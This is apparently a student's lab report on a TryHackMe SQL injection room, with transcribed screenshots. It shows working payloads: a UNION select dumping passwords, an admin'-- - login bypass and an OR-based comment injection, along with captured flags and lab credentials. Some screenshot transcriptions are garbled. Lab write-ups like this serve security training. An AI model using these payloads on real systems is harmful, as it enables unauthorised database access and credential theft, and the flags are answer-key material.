

SQL INJECTION LAB

Aim:

To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

Algorithm:

1. Access the SQL Injection Lab in TryHackMe platform using the link-
<https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag

Output:

The screenshot shows a web browser window with multiple tabs open, all related to TryHackMe. The active tab is 'tryhackme.com/room/sqlilab'. The page title is 'SQL Injection Lab'. The main content area displays a list of tasks:

- Task 1: Introduction
- Task 2: Introduction to SQL Injection: Part 1
- Task 3: Introduction to SQL Injection: Part 2
- Task 4: Vulnerable Startup: Broken Authentication
- Task 5: Vulnerable Startup: Broken Authentication 2
- Task 6: Vulnerable Startup: Broken Authentication 3 (Blind Injection)
- Task 7: Vulnerable Startup: Vulnerable Notes
- Task 8: Vulnerable Startup: Change Password

On the right side of the page, there is a binary representation of the number 10: 10 10
1110
0101 01
01 010
01

The browser's status bar at the bottom shows various icons and the date/time: 04-11-2025, 11:50, ENG IN.

Home Notes Profile Logout

Logged in as
rcLYWHCxGUsA9tH3GNVasd,Summer2019
1,345m3lo4hj3,THMfb381dfee71ef9c31b936
25ad540c9fa3,viking123 |

[Main Menu]

Messages

Executed Query:

Query 1:
SELECT id, username FROM users WHERE username = " union select 1,group_concat(password) from users

Login Change Password [Main Menu]

Log in

admin'-- -
admin'-- -
Password

Log in

Create an Account

Executed Query:

Query 1:
SELECT username FROM users WHERE username=?

Parameters:
admin'-- -

Query 2:
INSERT INTO users (username, password) VALUES (?, ?)

Parameters:
admin'-- -, aaa

The screenshot displays two separate browser windows for a 'TryHackMe | SQL Inject' challenge, both titled 'SQL Injection 2: Input Box String'.

Top Window (Exploit 1):

- URL: `10.10.151.34:5000/sesql1/home`
- Profile: Francois's Profile
- Fields:
 - Flag: THM{356e9de6016b9ac34e02df99a5f755ba}
 - Employee ID: 10
 - Salary: R250
 - Passport Number: 8605255014084
 - Nick Name: E-mail

Bottom Window (Exploit 2):

- URL: `10.10.151.34:5000/sesql1/home`
- Profile: Francois's Profile
- Fields:
 - Flag: THM{dccea429d73d4a6b4f117ac64724f460}
 - Employee ID: 10
 - Salary: R250
 - Passport Number: 8605255014084
 - Nick Name: E-mail

In the bottom window, the 'Executed Query:' field shows the injected SQL query:

```
Query 1:  
mail, nickName, password FROM userTable WHERE profileID=1 OR If=1-- AND password = 'ca978112ca'
```

Result: Thus, the various exploits were performed using SQL Injection Attack.